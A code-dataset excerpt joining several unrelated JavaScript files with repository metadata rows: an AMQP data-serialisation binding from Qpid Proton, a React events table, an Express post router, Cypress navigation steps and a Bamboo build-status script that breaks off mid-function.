* Retrieves a float value. N.B. converting between floats and doubles is imprecise
* so the resulting value might not quite be what you expect.
* @method getFLOAT
* @memberof! proton.Data#
* @returns {number} value if the current node is a float, returns 0 otherwise.
*/
_Data_['getFLOAT'] = function() {
return _pn_data_get_float(this._data);
};
/**
* @method getDOUBLE
* @memberof! proton.Data#
* @returns {number} value if the current node is a double, returns 0 otherwise.
*/
_Data_['getDOUBLE'] = function() {
return _pn_data_get_double(this._data);
};
/**
* @method getDECIMAL32
* @memberof! proton.Data#
* @returns {number} value if the current node is a decimal32, returns 0 otherwise.
*/
_Data_['getDECIMAL32'] = function() {
console.log("getDECIMAL32 not properly implemented yet");
return _pn_data_get_decimal32(this._data);
};
/**
* @method getDECIMAL64
* @memberof! proton.Data#
* @returns {number} value if the current node is a decimal64, returns 0 otherwise.
*/
_Data_['getDECIMAL64'] = function() {
console.log("getDECIMAL64 not properly implemented yet");
return _pn_data_get_decimal64(this._data);
};
/**
* @method getDECIMAL128
* @memberof! proton.Data#
* @returns {number} value if the current node is a decimal128, returns 0 otherwise.
*/
_Data_['getDECIMAL128'] = function() {
console.log("getDECIMAL128 not properly implemented yet");
return _pn_data_get_decimal128(this._data);
};
/**
* @method getUUID
* @memberof! proton.Data#
* @returns {proton.Data.Uuid} value if the current node is a UUID, returns null otherwise.
*/
_Data_['getUUID'] = function() {
var sp = Runtime.stackSave();
// Here's the quirky bit, pn_data_get_uuid actually returns pn_uuid_t
// *by value* but the low-level code handles this *by pointer* so we first
// need to allocate 16 bytes storage for pn_uuid_t on the emscripten stack
// and then we pass the pointer to that storage as the first parameter to the
// compiled pn_data_get_uuid.
var bytes = allocate(16, 'i8', ALLOC_STACK); // pn_uuid_t is 16 bytes.
_pn_data_get_uuid(bytes, this._data);
// Create a new UUID from the bytes
var uuid = new Data['Uuid'](bytes);
// Tidy up the memory that we allocated on emscripten's stack.
Runtime.stackRestore(sp);
return uuid;
};
/**
* @method getBINARY
* @memberof! proton.Data#
* @returns {proton.Data.Binary} value if the current node is a Binary, returns null otherwise.
*/
_Data_['getBINARY'] = function() {
var sp = Runtime.stackSave();
// The implementation here is a bit "quirky" due to some low-level details
// of the interaction between emscripten and LLVM and the use of pn_bytes.
// The JavaScript code below is basically a binding to:
//
// pn_bytes bytes = pn_data_get_binary(data);
// Here's the quirky bit, pn_data_get_binary actually returns pn_bytes_t
// *by value* but the low-level code handles this *by pointer* so we first
// need to allocate 8 bytes storage for {size, start} on the emscripten stack
// and then we pass the pointer to that storage as the first parameter to the
// compiled pn_data_get_binary.
var bytes = allocate(8, 'i8', ALLOC_STACK);
_pn_data_get_binary(bytes, this._data);
// The bytes variable is really of type pn_bytes_t* so we use emscripten's
// getValue() call to retrieve the size and then the start pointer.
var size = getValue(bytes, 'i32');
var start = getValue(bytes + 4, '*');
// Create a proton.Data.Binary from the pn_bytes_t information.
var binary = new Data['Binary'](size, start);
// Tidy up the memory that we allocated on emscripten's stack.
Runtime.stackRestore(sp);
// If _decodeBinaryAsString is set return the stringified form of the Binary.
if (this._decodeBinaryAsString) {
return binary.toString();
} else {
return binary;
}
};
/**
* Gets a unicode String value from the current node.
* @method getSTRING
* @memberof! proton.Data#
* @returns {string} value if the current node is a String, returns "" otherwise.
*/
_Data_['getSTRING'] = function() {
var sp = Runtime.stackSave();
// The implementation here is a bit "quirky" due to some low-level details
// of the interaction between emscripten and LLVM and the use of pn_bytes.
// The JavaScript code below is basically a binding to:
//
// pn_bytes bytes = pn_data_get_string(data);
// Here's the quirky bit, pn_data_get_string actually returns pn_bytes_t
// *by value* but the low-level code handles this *by pointer* so we first
// need to allocate 8 bytes storage for {size, start} on the emscripten stack
// and then we pass the pointer to that storage as the first parameter to the
// compiled pn_data_get_string.
var bytes = allocate(8, 'i8', ALLOC_STACK);
_pn_data_get_string(bytes, this._data);
// The bytes variable is really of type pn_bytes_t* so we use emscripten's
// getValue() call to retrieve the size and then the start pointer.
var size = getValue(bytes, 'i32');
var start = getValue(bytes + 4, '*');
// Create a native JavaScript String from the pn_bytes_t information.
var string = Pointer_stringify(start, size);
// Tidy up the memory that we allocated on emscripten's stack.
Runtime.stackRestore(sp);
return string;
};
/**
* Gets a symbolic value. According to the AMQP 1.0 Specification Symbols are
* values from a constrained domain. Although the set of possible domains is
* open-ended, typically the both number and size of symbols in use for any
* given application will be small, e.g. small enough that it is reasonable to
* cache all the distinct values. Symbols are encoded as ASCII characters.
* @method getSYMBOL
* @memberof! proton.Data#
* @returns {proton.Data.Symbol} value if the current node is a Symbol, returns "" otherwise.
*/
_Data_['getSYMBOL'] = function() {
var sp = Runtime.stackSave();
// The implementation here is a bit "quirky" due to some low-level details
// of the interaction between emscripten and LLVM and the use of pn_bytes.
// The JavaScript code below is basically a binding to:
//
// pn_bytes bytes = pn_data_get_symbol(data);
// Here's the quirky bit, pn_data_get_symbol actually returns pn_bytes_t
// *by value* but the low-level code handles this *by pointer* so we first
// need to allocate 8 bytes storage for {size, start} on the emscripten stack
// and then we pass the pointer to that storage as the first parameter to the
// compiled pn_data_get_symbol.
var bytes = allocate(8, 'i8', ALLOC_STACK);
_pn_data_get_symbol(bytes, this._data);
// The bytes variable is really of type pn_bytes_t* so we use emscripten's
// getValue() call to retrieve the size and then the start pointer.
var size = getValue(bytes, 'i32');
var start = getValue(bytes + 4, '*');
// Create a native JavaScript String from the pn_bytes_t information.
var string = Pointer_stringify(start, size);
// Tidy up the memory that we allocated on emscripten's stack.
Runtime.stackRestore(sp);
return new Data['Symbol'](string);
};
/**
* Performs a deep copy of the current {@link proton.Data} instance and returns it
* @method copy
* @memberof! proton.Data#
* @returns {proton.Data} a copy of the current {@link proton.Data} instance.
*/
_Data_['copy'] = function() {
var copy = new Data();
this._check(_pn_data_copy(copy._data, this._data));
return copy;
};
/**
* Format the encoded AMQP Data into a string representation and return it.
* @method format
* @memberof! proton.Data#
* @returns {string} a formatted string representation of the encoded Data.
*/
_Data_['format'] = function() {
var sp = Runtime.stackSave();
var sizeptr = allocate(4, 'i32', ALLOC_STACK);
var size = 1024; // Pass by reference variable - need to use setValue to initialise it.
while (true) {
setValue(sizeptr, size, 'i32'); // Set pass by reference variable.
var bytes = _malloc(size); // Allocate storage from emscripten heap.
var err = _pn_data_format(this._data, bytes, sizeptr);
var size = getValue(sizeptr, 'i32'); // Dereference the real size value;
if (err === Module['Error']['OVERFLOW']) {
_free(bytes);
size *= 2;
} else {
var string = Pointer_stringify(bytes, size);
_free(bytes);
// Tidy up the memory that we allocated on emscripten's stack.
Runtime.stackRestore(sp);
this._check(err)
return string;
}
}
};
/**
* Print the internal state of the {@link proton.Data} in human readable form.
* TODO. This seems to "crash" if compound nodes such as DESCRIBED, MAP or LIST
* are present in the tree, this is most likely a problem with the underlying C
* implementation as all the other navigation and format methods work - need to
* check by testing with some native C code.
* @method dump
* @memberof! proton.Data#
*/
_Data_['dump'] = function() {
_pn_data_dump(this._data);
};
/**
* Serialise a Native JavaScript Object into an AMQP Map.
* @method putMAP
* @memberof! proton.Data#
* @param {object} object the Native JavaScript Object that we wish to serialise.
*/
_Data_['putMAP'] = function(object) {
this['putMAPNODE']();
this['enter']();
for (var key in object) {
if (object.hasOwnProperty(key)) {
this['putObject'](key);
this['putObject'](object[key]);
}
}
this['exit']();
};
/**
* Deserialise from an AMQP Map into a Native JavaScript Object.
* @method getMAP
* @memberof! proton.Data#
* @returns {object} the deserialised Native JavaScript Object.
*/
_Data_['getMAP'] = function() {
if (this['enter']()) {
var result = {};
while (this['next']()) {
var key = this['getObject']();
var value = null;
if (this['next']()) {
value = this['getObject']();
}
result[key] = value;
}
this['exit']();
return result;
}
};
/**
* Serialise a Native JavaScript Array into an AMQP List.
* @method putLIST
* @memberof! proton.Data#
* @param {Array} array the Native JavaScript Array that we wish to serialise.
*/
_Data_['putLIST'] = function(array) {
this['putLISTNODE']();
this['enter']();
for (var i = 0, len = array.length; i < len; i++) {
this['putObject'](array[i]);
}
this['exit']();
};
/**
* Deserialise from an AMQP List into a Native JavaScript Array.
* @method getLIST
* @memberof! proton.Data#
* @returns {Array} the deserialised Native JavaScript Array.
*/
_Data_['getLIST'] = function() {
if (this['enter']()) {
var result = [];
while (this['next']()) {
result.push(this['getObject']());
}
this['exit']();
return result;
}
};
/**
* Serialise a proton.Data.Described into an AMQP Described.
* @method putDESCRIBED
* @memberof! proton.Data#
* @param {proton.Data.Described} d the proton.Data.Described that we wish to serialise.
*/
_Data_['putDESCRIBED'] = function(d) {
this['putDESCRIBEDNODE']();
this['enter']();
this['putObject'](d['descriptor']);
this['putObject'](d['value']);
this['exit']();
};
/**
* Deserialise from an AMQP Described into a proton.Data.Described.
* @method getDESCRIBED
* @memberof! proton.Data#
* @returns {proton.Data.Described} the deserialised proton.Data.Described.
*/
_Data_['getDESCRIBED'] = function() {
if (this['enter']()) {
this['next']();
var descriptor = this['getObject']();
this['next']();
var value = this['getObject']();
this['exit']();
return new Data['Described'](value, descriptor);
}
};
/**
* Serialise a proton.Data.Array or JavaScript TypedArray into an AMQP Array.
* @method putARRAY
* @memberof! proton.Data#
* @param {object} a the proton.Data.Array or TypedArray that we wish to serialise.
*/
_Data_['putARRAY'] = function(a) {
var type = 1;
var descriptor = 'TypedArray';
var array = a;
if (a instanceof Data['Array']) { // Array is a proton.Data.Array
type = Data[a['type']]; // Find the integer type from its name string.
descriptor = a['descriptor'];
array = a['elements'];
} else { // Array is a Native JavaScript TypedArray so work out the right type.
if (a instanceof Int8Array) {
type = Data['BYTE'];
} else if (a instanceof Uint8Array || a instanceof Uint8ClampedArray) {
type = Data['UBYTE'];
} else if (a instanceof Int16Array) {
type = Data['SHORT'];
} else if (a instanceof Uint16Array) {
type = Data['USHORT'];
} else if (a instanceof Int32Array) {
type = Data['INT'];
} else if (a instanceof Uint32Array) {
type = Data['UINT'];
} else if (a instanceof Float32Array) {
type = Data['FLOAT'];
} else if (a instanceof Float64Array) {
type = Data['DOUBLE'];
}
}
var described = descriptor != null;
this['putARRAYNODE'](described, type);
this['enter']();
if (described) {
this['putObject'](descriptor);
}
var putter = 'put' + Data['TypeNames'][type];
for (var i = 0, len = array.length; i < len; i++) {
var value = array[i];
value = (value instanceof Data.TypedNumber) ? value.value : value;
this[putter](value);
}
this['exit']();
};
/**
* Deserialise from an AMQP Array into a proton.Data.Array.
* @method getARRAY
* @memberof! proton.Data#
* @returns {proton.Data.Array} the deserialised proton.Data.Array.
*/
_Data_['getARRAY'] = function() {
var metadata = this['getARRAYNODE']();
var count = metadata['count'];
var described = metadata['described'];
var type = metadata['type'];
if (type === null) {
return null;
}
var elements = null;
if (typeof ArrayBuffer === 'function') {
if (type === Data['BYTE']) {
elements = new Int8Array(count);
} else if (type === Data['UBYTE']) {
elements = new Uint8Array(count);
} else if (type === Data['SHORT']) {
elements = new Int16Array(count);
} else if (type === Data['USHORT']) {
elements = new Uint16Array(count);
} else if (type === Data['INT']) {
elements = new Int32Array(count);
} else if (type === Data['UINT']) {
elements = new Uint32Array(count);
} else if (type === Data['FLOAT']) {
elements = new Float32Array(count);
} else if (type === Data['DOUBLE']) {
elements = new Float64Array(count);
} else {
elements = new Array(count);
}
} else {
elements = new Array(count);
}
if (this['enter']()) {
var descriptor; // Deliberately initialised as undefined not null.
if (described) {
this['next']();
descriptor = this['getObject']();
}
for (var i = 0; i < count; i++) {
this['next']();
elements[i] = this['getObject']();
}
this['exit']();
if (descriptor === 'TypedArray') {
return elements;
} else {
return new Data['Array'](type, elements, descriptor);
}
}
};
/**
* This method is the entry point for serialising native JavaScript types into
* AMQP types. In an ideal world there would be a nice clean one to one mapping
* and we could employ a look-up table but in practice the JavaScript type system
* doesn't really lend itself to that and we have to employ extra checks,
* heuristics and inferences.
* @method putObject
* @memberof! proton.Data#
* @param {object} obj the JavaScript Object or primitive to be serialised.
*/
_Data_['putObject'] = function(obj) {
//console.log("Data.putObject " + obj);
if (obj == null) { // == Checks for null and undefined.
this['putNULL']();
} else if (Data.isString(obj)) {
var quoted = obj.match(/(['"])[^'"]*\1/);
if (quoted) { // If a quoted string extract the string inside the quotes.
obj = quoted[0].slice(1, -1);
}
this['putSTRING'](obj);
} else if (obj instanceof Date) {
this['putTIMESTAMP'](obj);
} else if (obj instanceof Data['Uuid']) {
this['putUUID'](obj);
} else if (obj instanceof Data['Binary']) {
this['putBINARY'](obj);
} else if (obj instanceof Data['Symbol']) {
this['putSYMBOL'](obj);
} else if (obj instanceof Data['Described']) {
this['putDESCRIBED'](obj);
} else if (obj instanceof Data['Array']) {
this['putARRAY'](obj);
} else if (obj.buffer && (typeof ArrayBuffer === 'function') &&
obj.buffer instanceof ArrayBuffer) {
this['putARRAY'](obj);
} else if (obj instanceof Data.TypedNumber) { // Dot notation used for "protected" inner class.
// Call the appropriate serialisation method based upon the numerical type.
this['put' + obj.type](obj.value);
} else if (Data.isNumber(obj)) {
/**
* This block encodes standard JavaScript numbers by making some inferences.
* Encoding JavaScript numbers is surprisingly complex and has several
* gotchas. The code here tries to do what the author believes is the
* most "intuitive" encoding of the native JavaScript Number. It first
* tries to identify if the number is an integer or floating point type
* by checking if the number modulo 1 is zero (i.e. if it has a remainder
* then it's a floating point type, which is encoded here as a double).
* If the number is an integer type a test is made to check if it is a
* 32 bit Int value. N.B. gotcha - JavaScript automagically coerces floating
* point numbers with a zero Fractional Part into an *exact* integer so
* numbers like 1.0, 100.0 etc. will be encoded as int or long here,
* which is unlikely to be what is wanted. There's no easy "transparent"
* way around this. The TypedNumber approach above allows applications
* to express more explicitly what is required, for example (1.0).float()
* (1).ubyte(), (5).long() etc.
*/
if (obj % 1 === 0) {
if (obj === (obj|0)) { // the |0 coerces to a 32 bit value.
// 32 bit integer - encode as an INT.
this['putINT'](obj);
} else { // Longer than 32 bit - encode as a Long.
this['putLONG'](obj);
}
} else { // Floating point type - encode as a Double
this['putDOUBLE'](obj);
}
} else if (Data.isBoolean(obj)) {
this['putBOOL'](obj);
} else if (Data.isArray(obj)) { // Native JavaScript Array
this['putLIST'](obj);
} else {
this['putMAP'](obj);
}
};
/**
* @method getObject
* @memberof! proton.Data#
* @returns {object} the JavaScript Object or primitive being deserialised.
*/
_Data_['getObject'] = function() {
var type = Data['TypeNames'][this.type()];
type = type ? type : 'NULL';
var getter = 'get' + type;
return this[getter]();
};
| 33.933039 | 109 | 0.642453 |
061ea5a4a94123e07d1716731337b3143837983b | 2,264 | js | JavaScript | src/components/EventsIndex.js | budougumi0617/sandbox-react | 4271013ea126e7be3be01e4322cbb888c05ef62c | [
"MIT"
] | null | null | null | src/components/EventsIndex.js | budougumi0617/sandbox-react | 4271013ea126e7be3be01e4322cbb888c05ef62c | [
"MIT"
] | null | null | null | src/components/EventsIndex.js | budougumi0617/sandbox-react | 4271013ea126e7be3be01e4322cbb888c05ef62c | [
"MIT"
] | null | null | null | // @flow
import React, { Component } from 'react';
import { connect } from 'react-redux';
import { Link } from 'react-router-dom';
import {
Table,
TableBody,
TableHeader,
TableHeaderColumn,
TableRow,
TableRowColumn
} from 'material-ui/Table';
import FloatingActionButton from 'material-ui/FloatingActionButton';
import ContentAdd from 'material-ui/svg-icons/content/add';
import { readEvents } from '../actions';
import type { Dispatch } from 'redux';
import type { Action } from '../types/Action';
type Props = {
events: any,
readEvents: void => any
};
class EventsIndex extends Component<Props> {
componentDidMount() {
this.props.readEvents();
}
renderEvents() {
const keys = Object.keys(this.props.events);
if (keys.length !== 0) {
return keys.map(id => {
const event = this.props.events[id];
return (
<TableRow key={event.id}>
<TableRowColumn>{event.id}</TableRowColumn>
<TableRowColumn>
<Link to={`/events/${id}`}> {event.title} </Link>
</TableRowColumn>
<TableRowColumn>{event.body}</TableRowColumn>
</TableRow>
);
});
} else {
return;
}
}
render() {
const style = {
position: 'fixed',
right: 12,
bottom: 12
};
return (
<React.Fragment>
<FloatingActionButton style={style} containerElement={<Link to="/events/new" />}>
<ContentAdd />
</FloatingActionButton>
<Table>
<TableHeader displaySelectAll={false} adjustForCheckbox={false}>
<TableRow>
<TableHeaderColumn>ID</TableHeaderColumn>
<TableHeaderColumn>Title</TableHeaderColumn>
<TableHeaderColumn>Body</TableHeaderColumn>
</TableRow>
</TableHeader>
<TableBody displayRowCheckbox={false}>{this.renderEvents()}</TableBody>
</Table>
</React.Fragment>
);
}
}
const mapStateToProps = state => ({ events: state.events });
const mapDispatchToProps = (dispatch: Dispatch<Action>) => {
return {
readEvents: function() {
dispatch(readEvents());
}
};
};
export default connect(
mapStateToProps,
mapDispatchToProps
)(EventsIndex);
| 24.608696 | 89 | 0.605124 |
061f080577643c481e46335a20b581415f4c1233 | 136 | js | JavaScript | gulp-tasks/tasks/build/build.js | leonkyr/jsshop | f36df2ba7bd44febebd7e6a3ad51d51082d33808 | [
"Apache-2.0"
] | 2 | 2015-06-09T09:20:50.000Z | 2016-02-19T20:16:59.000Z | gulp-tasks/tasks/build/build.js | leonkyr/jsshop | f36df2ba7bd44febebd7e6a3ad51d51082d33808 | [
"Apache-2.0"
] | null | null | null | gulp-tasks/tasks/build/build.js | leonkyr/jsshop | f36df2ba7bd44febebd7e6a3ad51d51082d33808 | [
"Apache-2.0"
] | null | null | null | var gulp = require('gulp-help')(require('gulp'));
gulp.task('build', 'Builds both development and production version', ['build:prod']); | 45.333333 | 85 | 0.705882 |
061f16133da4ceb9c2bfa67aa5868a02eef83d40 | 490 | js | JavaScript | api/resources/userPost/post.router.js | codingknite/hackbuddy | 3fa6279437b6f0551e4c9e10de799d1c0efaf1f3 | [
"MIT"
] | null | null | null | api/resources/userPost/post.router.js | codingknite/hackbuddy | 3fa6279437b6f0551e4c9e10de799d1c0efaf1f3 | [
"MIT"
] | 1 | 2021-09-27T11:56:59.000Z | 2021-09-27T11:56:59.000Z | api/resources/userPost/post.router.js | codingknite/hackbuddy | 3fa6279437b6f0551e4c9e10de799d1c0efaf1f3 | [
"MIT"
] | null | null | null | const { Router } = require('express');
const {
getAllPosts,
createPost,
getPost,
updatePost,
deletePost,
queryPosts,
} = require('./post.controller');
const { checkJwt } = require('../../middleware/auth.middleware');
const router = Router();
router.route('/').get(getAllPosts).post(checkJwt, createPost);
router.get('/query', queryPosts);
router
.route('/:postID')
.get(getPost)
.patch(checkJwt, updatePost)
.delete(checkJwt, deletePost);
module.exports = router;
| 18.846154 | 65 | 0.681633 |
061f252d0bcfb34171e9e7030bf364edce64435d | 3,189 | js | JavaScript | spec/cypress/support/step_definitions/common-navigation.js | DFE-Digital/ecf-engage-and-learn | 397eca2cbd8d06b686b75abd377819ccbf96acad | [
"MIT"
] | null | null | null | spec/cypress/support/step_definitions/common-navigation.js | DFE-Digital/ecf-engage-and-learn | 397eca2cbd8d06b686b75abd377819ccbf96acad | [
"MIT"
] | 246 | 2021-02-10T12:06:49.000Z | 2022-02-28T11:17:02.000Z | spec/cypress/support/step_definitions/common-navigation.js | DFE-Digital/ecf-engage-and-learn | 397eca2cbd8d06b686b75abd377819ccbf96acad | [
"MIT"
] | 1 | 2021-04-10T21:44:15.000Z | 2021-04-10T21:44:15.000Z | import { Given, When, Then } from "cypress-cucumber-preprocessor/steps";
import { parseArgs } from "./database";
Given("scenario {string} has been ran", (scenario) => cy.appScenario(scenario));
const pagePaths = {
cookie: "/cookies",
start: "/",
"guidance speedbump": "/guidance-question",
accessibility: "/accessibility-statement",
dashboard: "/dashboard",
"edit preferred name": "/preferred-name/edit",
"sign in": "/users/sign_in",
"core induction programme index": "/providers",
"core induction programme show": "/test-cip-1",
"core induction programme year": "/test-cip-1/year-1",
"core induction programme lesson new": "/test-cip-1/create-lesson",
"core induction programme year edit": "/test-cip-1/year-1/edit",
"core induction programme module": "/test-cip-1/year-1/spring-1",
"core induction programme module edit": "/test-cip-1/year-1/spring-1/edit",
"core induction programme lesson": "/test-cip-1/year-1/spring-1/topic-1",
"core induction programme lesson edit":
"/test-cip-1/year-1/spring-1/topic-1/edit",
"core induction programme lesson part":
"/test-cip-1/year-1/spring-1/topic-1/part-1",
"core induction programme mentor materials": "/mentor-materials",
"core induction programme mentor material new": "/mentor-materials/new",
"core induction programme mentor material":
"/test-cip-1/year-1/spring-1/topic-1/mentoring/1",
"core induction programme mentor material edit":
"/test-cip-1/year-1/spring-1/topic-1/mentoring/1/edit",
"core induction programme mentor material part":
"/test-cip-1/year-1/spring-1/topic-1/mentoring/1/part-1",
"ambition year 1 show": "/ambition/year-1",
"training and support": "/training-and-support",
"cip change alert start": "/cip-change-alert-start",
"cip change alert guidance": "/cip-change-alert-guidance",
privacy: "/privacy-policy",
};
Given("I am on {string} page", (page) => {
const path = pagePaths[page];
cy.visit(path);
});
const ID_REGEX = /:([a-z_]+)/g;
Given("I am on {string} page with {}", (page, argsString) => {
const args = parseArgs(argsString);
const path = pagePaths[page].replace(ID_REGEX, (_, key) => args[key]);
cy.visit(path);
});
Given("I am on {string} page without JavaScript", (page) => {
const path = pagePaths[page];
cy.visit(`${path}?nojs=nojs`);
});
When("I navigate to {string} page", (page) => {
const path = pagePaths[page];
cy.visit(path);
});
When("I navigate to {string} page with {}", (page, argsString) => {
const args = parseArgs(argsString);
const path = pagePaths[page].replace(ID_REGEX, (_, key) => args[key]);
cy.visit(path);
});
const assertOnPage = (page) => {
const path = pagePaths[page];
if (!path) {
throw new Error(`Path not found for ${page}`);
}
if (path.includes(":")) {
const pathRegex = new RegExp(
path.replace(/\//g, "\\/").replace(ID_REGEX, "[^/]+")
);
cy.location("pathname").should("match", pathRegex);
} else {
cy.location("pathname").should("equal", path);
}
};
Then("I should be on {string} page", (page) => {
assertOnPage(page);
});
Then("I should have been redirected to {string} page", (page) => {
assertOnPage(page);
});
| 33.925532 | 80 | 0.661336 |
061f320189eece022c93057bc88919968508d094 | 605 | js | JavaScript | 02-write-file/index.js | Dimas-worker/HTML-builder | 8c93dd19758524f0e869a792e5ba44402187ecee | [
"MIT"
] | null | null | null | 02-write-file/index.js | Dimas-worker/HTML-builder | 8c93dd19758524f0e869a792e5ba44402187ecee | [
"MIT"
] | null | null | null | 02-write-file/index.js | Dimas-worker/HTML-builder | 8c93dd19758524f0e869a792e5ba44402187ecee | [
"MIT"
] | null | null | null | const fs = require('fs');
const path = require('path');
const { stdin: input, stdout: output } = require('process');
fs.createWriteStream(path.join(__dirname, 'input.txt'));
output.write('please, enter some text\n');
input.on('data', (data) => {
if (data.toString().trim().toLowerCase() === 'exit') { process.exit() };
fs.appendFile(path.join(__dirname,'input.txt'), `${data}`, err => { if (err) throw err} );
output.write("enter other text or 'exit'\n");
});
process.on('SIGINT', () => { process.exit() });
process.on('exit', () => output.write('Bye and Good luck!')); | 30.25 | 93 | 0.601653 |
061fd18873ab238eca1f3f22420833793b430ca7 | 18,444 | js | JavaScript | Bamboo/atlassian-bamboo-5.4.3/atlassian-bamboo/scripts/build-decorator.js | EdoardoVignati/java-deserialization-of-untrusted-data-poc | 6cea9bd35bc03bef802519dda88fdfdd69a3ec2b | [
"CC0-1.0"
] | 25 | 2019-05-22T14:18:02.000Z | 2022-03-08T21:56:49.000Z | Bamboo/atlassian-bamboo-5.4.3/atlassian-bamboo/scripts/build-decorator.js | EdoardoVignati/Java-untrusted-deserialization-poc | 6cea9bd35bc03bef802519dda88fdfdd69a3ec2b | [
"CC0-1.0"
] | null | null | null | Bamboo/atlassian-bamboo-5.4.3/atlassian-bamboo/scripts/build-decorator.js | EdoardoVignati/Java-untrusted-deserialization-poc | 6cea9bd35bc03bef802519dda88fdfdd69a3ec2b | [
"CC0-1.0"
] | 4 | 2020-12-07T01:54:45.000Z | 2021-11-15T18:33:54.000Z | (function ($, BAMBOO) {
BAMBOO.BUILDRESULT = {};
BAMBOO.PLAN = {};
BAMBOO.BUILDRESULT.StatusRibbon = function (opts) {
var defaults = {
ribbonSelector: null,
key: null,
progressBarContainerSelector: '.status-ribbon-progress-bar'
},
options = $.extend(true, defaults, opts),
isJobResult,
$ribbon,
$progressBar,
$buildingForText,
updateProgressBar = function (progress) {
var progressPercentage = Math.ceil(100 - (progress['percentageCompleted'] * 100));
if (!$progressBar.length) {
$progressBar = $('<div />', { id: 'sr-pb-' + options.key }).progressBar().appendTo($ribbon.find(options.progressBarContainerSelector));
$ribbon.trigger('createprogressbar.buildresult', [ progress ]);
}
if (progressPercentage < $progressBar.progressBar('option', 'value')) { // this progress bar works backwards
$progressBar.progressBar('option', 'value', progressPercentage);
}
updateBuildTime(progress[(progress['averageBuildDuration'] > 0 ? 'prettyTimeRemaining' : 'prettyBuildTime')], { prefix: '– ' });
$ribbon.trigger('updateprogressbar.buildresult', [ progress ]);
},
updateBuildTime = function (time, options) {
options || (options = {});
var prefix = options['prefix'] || '';
var suffix = options['suffix'] || '';
if (!$buildingForText.length) { return; }
if (time) {
$buildingForText.text(time + suffix).prepend(prefix).show();
} else {
$buildingForText.hide();
}
},
res = {
refresh: function (e, json) {
var progress, stages = json['stages']['stage'];
if (isJobResult) {
if (stages.length) {
for (var i = 0, ii = stages.length; i < ii && !progress; i++) {
var jobs = stages[i]['results']['result'];
for (var j = 0, jj = jobs.length; j < jj; j++) {
var job = jobs[j];
if (job['key'] == options.key) {
progress = job['progress'];
if (job['queued']) {
updateBuildTime(job['prettyQueuedTime']);
} else if (job['updatingSource']) {
updateBuildTime(job['prettyVcsUpdateDuration']);
} else if (progress) {
updateProgressBar(progress);
}
break;
}
}
}
}
} else {
progress = json['progress'];
if (!progress['buildTime']) {
updateBuildTime(json['prettyQueuedTime']);
} else {
updateProgressBar(progress);
}
}
}
};
$(function () {
$ribbon = $(options.ribbonSelector);
$progressBar = $ribbon.find('.progress');
$buildingForText = $ribbon.find('.operation-time');
isJobResult = $ribbon.hasClass('has-job');
$(document).bind('update.buildresult', res.refresh);
});
return res;
};
BAMBOO.BUILDRESULT.PlanNavigator = function (opts) {
var defaults = {
planNavigatorSelector: null,
key: null
},
options = $.extend(true, defaults, opts),
$planNavigator,
$stageElements,
hiddenClass = 'collapsed',
updateIcon = function ($icon, iconType) {
var fullIconType = 'icon-' + iconType;
if (!$icon.hasClass(fullIconType)) {
$icon.attr('class', 'icon ' + fullIconType);
}
},
togglePlanNav = function () {
if ($planNavigator.parent().hasClass(hiddenClass)) {
$planNavigator.parent().removeClass(hiddenClass);
$(this).attr('title', AJS.I18n.getText('global.buttons.hide'));
} else {
$planNavigator.parent().addClass(hiddenClass);
$(this).attr('title', AJS.I18n.getText('global.buttons.show'));
}
},
addPlanNavToggle = function () {
$('<button />', { title: ($planNavigator.parent().hasClass(hiddenClass) ? AJS.I18n.getText('global.buttons.show') : AJS.I18n.getText('global.buttons.hide')), id: 'plan-nav-toggle', click: togglePlanNav }).insertAfter($planNavigator);
},
res = {
refresh: function (e, json) {
var jobs = [], stages = json['stages']['stage'];
if (stages.length) {
for (var i = 0, ii = stages.length, k = stages[0].index; i < ii; i++, k++) {
var stage = stages[i],
$stageElement = $($stageElements[k]),
$stageIcon = $('.stageIcon', $stageElement);
jobs = jobs.concat(stage['results']['result']);
if (stage['isBuilding']) {
$stageElement.removeClass('Pending').addClass('InProgress');
if ($stageIcon.length) {
updateIcon($stageIcon, 'stage-InProgress stageIcon');
}
} else if (stage['isCompleted']) {
$stageElement.removeClass('Pending InProgress').addClass(stage['isSuccessful'] ? 'Successful' : 'Failed');
if ($stageIcon.length) {
updateIcon($stageIcon, stage['isSuccessful'] ? 'stage-Successful stageIcon' : 'stage-Failed stageIcon');
}
} else {
$stageElement.addClass('Pending');
if ($stageIcon.length) {
updateIcon($stageIcon, 'stage-Pending stageIcon');
}
}
}
for (var j = 0, jj = jobs.length; j < jj; j++) {
var job = jobs[j],
$job = $('#job-' + job['key']),
$icon = $job.find('.icon'),
$progress = $job.find('.progress'),
progressPercentage;
$job.trigger('updatejob.buildresult', [ job ]);
if (job['finished']) {
updateIcon($icon, job['state']);
if ($progress.length) {
$progress.remove();
}
} else if (job['progress'] && !job['queued']) {
progressPercentage = Math.ceil(100 - (job['progress']['percentageCompleted'] * 100));
updateIcon($icon, 'InProgress');
if (!$progress.length) {
$progress = $('<div />', { id: 'navPb' + job['key'] }).progressBar().prependTo($job);
}
if (progressPercentage < $progress.progressBar('option', 'value')) { // this progress bar works backwards
$progress.progressBar('option', 'value', progressPercentage);
}
} else {
updateIcon($icon, 'Queued');
}
}
}
}
};
$(function () {
$planNavigator = $(options.planNavigatorSelector);
$stageElements = $planNavigator.find("> ul > li");
addPlanNavToggle();
$(document).bind('update.buildresult', res.refresh);
});
return res;
};
BAMBOO.BUILDRESULT.BuildResult = (function () {
var opts = {
currentKey: null,
getStatusUrl: null,
jobStatus: null,
isActive: false,
ribbonSelector: '#status-ribbon'
},
planNavigator,
statusRibbon,
getJobStatus = function (job) {
if (job['finished']) {
return job['state'];
} else if (job['waiting']) {
return "Pending";
} else if (job['progress'] && !job['queued']) {
if (job['updatingSource']) {
return "updatingSource";
} else {
return "InProgress";
}
} else {
return "Queued";
}
},
updateTimeout,
update = function () {
$.ajax({
url: opts.getStatusUrl,
cache: false,
data: {
expand: "stages.stage.results.result"
},
dataType: "json",
contentType: "application/json",
success: function (json) {
if (json['finished']) {
reloadThePage();
return;
}
$(document).trigger('update.buildresult', [ json ]);
// Update again in 5 seconds
updateTimeout = setTimeout(update, 5000);
},
error: function (XMLHttpRequest) {
// 404 for status means either no such result key exists OR build is not executing
// both cases are a good reason to reload, otherwise just wait
if (XMLHttpRequest.status == 404) {
reloadThePage();
return;
}
// Error occurred when doing the update, try again in 30 sec
updateTimeout = setTimeout(update, 30000);
}
});
},
refreshDetails = function (e, progress) {
if (progress) {
$(".started + dd > time").attr("datetime", progress['startedTimeFormatted']).html(progress['startedTime'] + ' – <span>' + progress['prettyStartedTime'] + '</span>');
}
},
onJobUpdated = function (e, job) {
